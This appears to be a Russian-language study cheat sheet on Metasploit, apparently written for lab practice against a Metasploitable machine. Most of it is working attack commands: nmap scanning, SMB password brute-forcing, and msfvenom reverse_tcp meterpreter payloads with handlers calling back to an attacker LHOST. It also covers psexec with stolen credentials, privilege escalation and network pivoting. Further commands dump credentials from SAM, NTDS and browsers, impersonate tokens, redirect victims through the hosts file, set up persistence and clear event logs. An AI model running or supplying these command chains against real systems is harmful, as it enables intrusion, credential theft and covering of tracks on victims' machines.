# Metasploit
1. Загружаем полезную нагрузку
2. Запускаем листенер
3. Используем эксплойт / эксплуатация и постэкспуатация
машина metasploitable
login: vagrant
password: vagrant
**Установка** метасплойт
apt install metasploit-framework
в Ubuntu, то его можно установить из официального репозитория. Для этого набери в консоли следующие директивы:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-fram
sudo chmod 755 msfinstall
sudo ./msfinstall
**База данных Metasploit**
Metasploit может сам сохранять и удобно формализовать полученную информацию благодаря модулю msfdb. Для работы с базами необходимо запустить службу postgresql и создать базу для Metasploit.
service postgresql start
msfdb init
db_status - Проверить подключение к базе данных можно из самого фреймворка.
Чтобы было удобней работать с различными областями (хостами, сетями или доменами) и разделять данные для структуризации, msfdb имеет поддержку так называемого **рабочего пространства**. Давай добавим новое пространство в наш проект.
> workspace -a xakep
workspace -a test1 - cоздание рабочего пространства
сканируем хост и записываем в базу данных db_nmap -Pn (не пинговать) -A(агрессивный скан) -O(версия операционки) -sV(кидает стандартные скрипты на машину) 192.168.52.130
![Uploading file..._ru4kuhb9a]()
Сканируем сеть
> db_nmap -O 192.168.6.0/24
db_nmap -Pn -A -O -sV ip
services - посмотреть все сервисы
services 192.168.0.0 - показывает сервисы IP

hosts - показывает список хостов которые отксанировали
db_status

db_import и путь к xml


```
#!/bin/bash
target_ip=$1
echo "Scanning: $target_ip, please wait this might take a while.."
ports=$(nmap -p- -Pn --min-rate=500 $target_ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC $target_ip -Pn -oA nmap_scan_results_$target_ip
```
**USING THE DATABASE IN METASPLOIT**https://www.offensive-security.com/metasploit-unleashed/using-databases/
msql - мы нашли соль (рандомное значение добавляемое к хэшу)

hosts -h показывыет какие команды отрабатывают хосты
hosts - показывает какие хосты подключены
hosts -c mac - показывает мак адреса
hosts -i __.__.__.__
hosts -F linux
hosts -S Windows
use exploit/multi/handler
https://hackmd.io/@N0y8SsX2TN-aKTUtG8XT-g/ryZpBJv0K#Урок-№4-METASPLOIT-Поиск-и-эксплуатация-уязвимостей
![Uploading file..._onsuxheq4]()

как вошли в эксплойт - пишем options


Глобальная установка **RHOST** на сессию
setg rhost IP

use exploit/multi/handler
options
set lhost eth0

set exitonsession false - если это не сделаем то хэндлер умирает, когда получает сессию он продолжает висеть
run -j 
jobs - список рабочих процессов
![Uploading file..._f5ajrxblj]()
job -k 0 (убиваем рабочий процесс под номером 0)

**Chocolatey** — менеджер пакетов в среде Windows по аналогии с apt-get в Linux Мире. https://habr.com/ru/post/143996/
https://drive.google.com/file/d/1Sq0NfPO3J9RMNzRjScJWlOlmX7KPDqvx/view
! прорешать pivot атака от Исраэля
Полный список перебираемой информации для коллекционирования учетных данных можно получить следующей командой:
> search type auxiliary/scanner -S "_login"
Чтобы узнать, для чего именно предназначен определенный модуль и его описание (со ссылкой на cvedetails), а также посмотреть данные, которые нужно передать в качестве параметров, следует воспользоваться командой info.
info auxiliary/scanner/smb/smb_login
Bыберем этот модуль, зададим название домена, имя пользователя, интересующий нас хост и список паролей.
```
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.6.129
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser root
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /home/ralf/tmp/pass.txt
msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain DOMAIN
msf5 auxiliary(scanner/smb/smb_login) > run
```

Использование msfdb позволяет не тратить время на коллекционирование всех обнаруженных логинов, хешей, паролей, так как они автоматически остаются в хранилище учетных данных, посмотреть которое можно командой **creds**.
# Получение точки опоры
**Полезная нагрузка**
Одна и та же полезная нагрузка может работать как в режиме ожидания подключения (**bind**), так и в режиме **reverse** (для бэкконнекта от целевого хоста).
Стоит учитывать, что чем легче нагрузка, тем больше ее надежность и стабильность. Так, обычный шелл может быть создан с помощью AWK, jjs, Lua, Netcat, Node.js, Perl, R, Ruby, socat, stub, zsh, ksh, Python, PHP, PowerShell.
Чтобы найти нагрузку для определенного случая, используем команду **search**.
search payload/
В большинстве случаев используется загрузчик в одном из следующих форматов: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war. Для работы с пейлоадами в составе фреймворка имеется свой модуль — msfvenom.
Для примера создадим нагрузку meterpreter типа reverse, работающую по протоколу TCP для операционной системы Windows
windows/x64/meterpreter/reverse_tcp
Главными параметрами для этой полезной нагрузки будут LHOST и LPORT — адрес и порт нашего сервера для бэкконнекта. Создадим нагрузку в формате *.exe.
msfvenom -p [пейлоад] [параметры пейлоада] -f [формат] -o [итоговый файл]

Исполняемый файл с нагрузкой готов.
**Листенер**
За создание листенера отвечает модуль exploit/multi/handler. Этому модулю нужно указать только целевой пейлоад, с которым он будет взаимодействовать, и параметры этого
пейлоада.
```
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.6.1
> set LPORT 4321
> run
```

Есть быстрый способ создать такой листенер — команда укладывается в одну строку.
handler -p [пейлоад] -H [хост] -P [порт]
И теперь наша задача сделать так, чтобы файл с нагрузкой был выполнен на целевом хосте.
**Эксплоиты**
Конечно, если нам удается обнаружить уязвимые службы и для них есть эксплоиты в Metasploit, они тоже идут в дело, но такое случается редко. В следующих разделах мы чуть подробнее разберем именно нагрузку meterpreter, так как легкие нагрузки обеспечивают доступ к обычному шеллу, а vncinject просто открывает удаленный рабочий стол.
Для модуля psexec укажем полученные учетные данные, адрес целевого хоста и тип нагрузки с необходимыми параметрами.
```
> use exploit/windows/smb/psexec
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.6.1
> set LPORT 9876
> set RHOSTS 192.168.6.129
> set SMBUser root
> set SMBPass 1q2w#E$R
> set SMBDomain domain.dom
> run
```
# Эксплуатация и постэксплуатация
**Windows**
**База meterpreter**
Теперь я расскажу о модулях, которые мы используем, когда у нас уже имеется сессия meterpreter. Как и во множестве других фреймворков, в Metasploit присутствуют полезные команды для загрузки файлов download и upload. Для стабильности мы можем перенести нашу сессию в другой процесс на хосте с помощью команды migrate. Эта команда принимает один параметр — PID целевого процесса, получить который можно из списка процессов (с помощью команды ps).

Мигрирование в другой процесс
Также мы можем **создавать свои процессы**. Для этого нужно указать лишь файл (-f) и при желании включить интерактивный (-i) или скрытый (-H) режимы.
execute -f cmd.exe -i -H

Создание скрытого процесса cmd.exe
Кстати, проблема кодировки решается с помощью команды cp 65001. Опция, используемая почти всегда, — переход в контекст SYSTEM. Для этого нужно просто выполнить команду
**getsystem**
Очень полезна функция поиска файлов, если тебе нужно найти на удаленной машине документы или архивы.

Поиск всех файлов TXT
Еще можно выполнить на взломанном хосте команду PowerShell или Python, а также загрузить PS1-файл или скрипт на Python в память. Для этого сначала запусти нужные модули, а потом выбери соответствующую команду.

**ТУННЕЛИ**
Одна из самых крутых возможностей Metasploit — создание туннелей. Мы можем использовать захваченный хост как мост между внешней и внутренней сетью. Обычно сначала проверяют, есть ли дополнительные сетевые интерфейсы.
> ifconfig
Для обнаружения хостов мы можем посмотреть таблицу ARP.
> arp
Теперь нам необходимо построить туннель. Сначала создадим маршрут и проверим его с помощью autoroute.

> run autoroute -s 10.0.0.0/24 Создание маршрута
> run autoroute -p Список созданных маршрутов
Теперь отправим сессию в фоновый режим, тем самым перейдя из оболочки meterpreter в оболочку msf.
> **background**
На следующем этапе нам нужно **настроить SOCKS-прокси-сервер**. За это отвечает модуль auxiliary/server/socks4a. В качестве параметров он принимает хост и порт (по умолчанию — localhost:1080). > use auxiliary/server/socks4a
> run
Чтобы вернуться обратно в оболочку meterpreter, можно воспользоваться командой sessions и указать номер сессии.

переход в фоновый режим
В качестве редиректора мы можем использовать ProxyChains. Для этого укажем адрес созданного нами прокси-сервера в файле конфигурации /etc/proxychains.conf.

Теперь **просканируем** с помощью Nmap и созданного туннеля найденный в ARP-таблице хост.
proxychains -q nmap 10.0.0.5
**СБОР УЧЕТНЫХ ДАННЫХ**
Сбор паролей и хешей — неотъемлемая часть любой атаки, и Metasploit позволяет это делать легко и непринужденно. Первый метод — воспользоваться командой hashdump, которая собирает хеши из файла SAM.

Если мы имеем доступ к контроллеру домена, то можем очень легко сдампить файл NTDS.DIT
> use post/windows/gather/ntds_grabber
> set SESSION 5
> run

При этом мы можем получать пароли из групповой политики и MS SQL благодаря модулям post/windows/gather/credentials/gpp, а также сохраненные пароли Skype, TeamViewer
и Outlook (post/windows/gather/credentials/outlook, post/windows/gather/credentials/skype, post/windows/gather/credentials/teamviewer_passwords). Ну и конечно же, я не могу оставить без внимания браузеры, из которых мы получаем не только учетные данные, но еще и файлы куки, и историю просмотра веб-страниц.
> use post/windows/gather/enum_chrome
> set session 5
> run

Получение данных из браузера
Все эти файлы сохранятся в базе msfdb, и к ним всегда можно получить доступ, выполнив команду **loot**.
На самом деле файлы не текстовые. Они представляют собой базу данных SQLite, но вот сохраненные пароли мы находим без особого труда.

И завершим раздел про учетные данные, упомянув интеграцию Metasploit с mimikatz. Для этого загрузим соответствующий модуль.

Загрузка модуля KIWI и mimikatz
В Metasploit интегрированы следующие **модули mimikatz**, которые можно использовать по мере необходимости.

**РАЗВЕДКА**
Команд для этой цели имеется великое множество, их можно найти по пути post/windows/gather/. В первую очередь нас
интересует получение списка пользователей домена (**enum_ad_users**), всех групп (**enum_ad_groups**), зарегистрированных в домене компьютеров (**enum_ad_computers**), а также общих ресурсов (**enum_shares**).
К более масштабным методам разведки в домене я отнесу модуль **post/windows/gather/bloodhound**, использующий одноименный инструмент.
Иногда для поиска вектора LPE необходимо изучить установленное на удаленных машинах ПО. Metasploit способен облегчить и эту задачу.

Список установленного ПО
Не мешает лишний раз проверить наличие каких-нибудь CVE для повышения привилегий. За их перечисление отвечает модуль post/multi/recon/local_exploit_suggester. Вот
пример найденной этим модулем уязвимости.

Проверка LPE-эксплоитов
Иногда полезно собирать и анализировать трафик. Сначала нам нужно загрузить модуль sniffer и изучить доступные сетевые интерфейсы.

Загрузка модуля sniffer
Теперь следует активировать сниффер на определенном интерфейсе и указать файл, в который мы будем собирать трафик. После окончания сбора данных нужно будет завершить процесс прослушивания интерфейса.

Запись трафика
И не оставим без внимания возможности кейлоггера. Команды start, dump и stop аналогичны уже рассмотренным выше.

Запись нажатия клавиш
**ОБЕСПЕЧЕНИЕ ДОСТУПА**
Для обеспечения доступа в Metasploit предусмотрено множество крутых инструментов. Начнем с **токенов доступа**, которые позволяют нам выдать себя за других пользователей.
Для начала загрузим модуль incognito и посмотрим, какие токены есть в системе.
> load incognito
> list_tokens -u

Загрузка модуля incognito
Судя по результатам обработки команды, мы можем войти в контекст пользователя MediaAdmin$. Давай сделаем это.
impersonate_token DOMAIN\\MediaAdmin$

И вот мы уже работаем от его имени! Выполнением программ на C# в памяти уже никого не удивить, поэтому скажу лишь, что это делается с помощью post/windows/manage/execute_dotnet_assembly.
Если мы заметим, что пользователь часто обращается к какому-то сайту по доменному имени, мы можем сделать **копию страницы авторизации** этого сайта и подменить его адрес в файле hosts.
run hostsedit -e 192.168.6.1,www.microsoft.com
Таким образом пользователь при обращении к www.microsoft.com будет попадать на **наш сервер**.
При необходимости можно быстро установить на хост Python или SSH-сервер, для чего нам понадобятся следующие модули: post/windows/manage/install_python и
post/windows/manage/install_ssh.

Быстрая установка Python и SSH на целевой хост
Так же как и в Empire, мы можем включить RDP и изменить настройки файрвола с помощью модуля post/windows/manage/enable_rdp.
Включение RDP на целевом хосте
Не секрет, что, если в момент атаки компьютер будет перезагружен, мы потеряем текущую сессию, поэтому важно на всякий случай закрепиться в системе. Тут все просто: можно использовать любой метод, который тебе по нраву (мы юзаем опцию -S).

Модуль сохранения доступа
Закрепление в системе
Напоследок нужно зачистить следы. Наша команда использует для этого возможности модуля clearev.
 Очистка логов в журналах событий и безопасности
set exitonsession false - листенер не будет отключатся
run -j

msf6 payload(windows/meterpreter/reverse_tcp) > generate -f exe -o /var/www/html/payload.exe
[*] Writing 73802 bytes to /var/www/html/payload.exe...
msf6 payload(windows/meterpreter/reverse_tcp) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
keyboard_send text отправляет в консоль атакуемой машины
getenv userprofile
можем узнать переменную юзер профайл



getpid - узнать номер процесса
getpriv - посмотреть привилегии

ps - список процессов
sessions -i (id)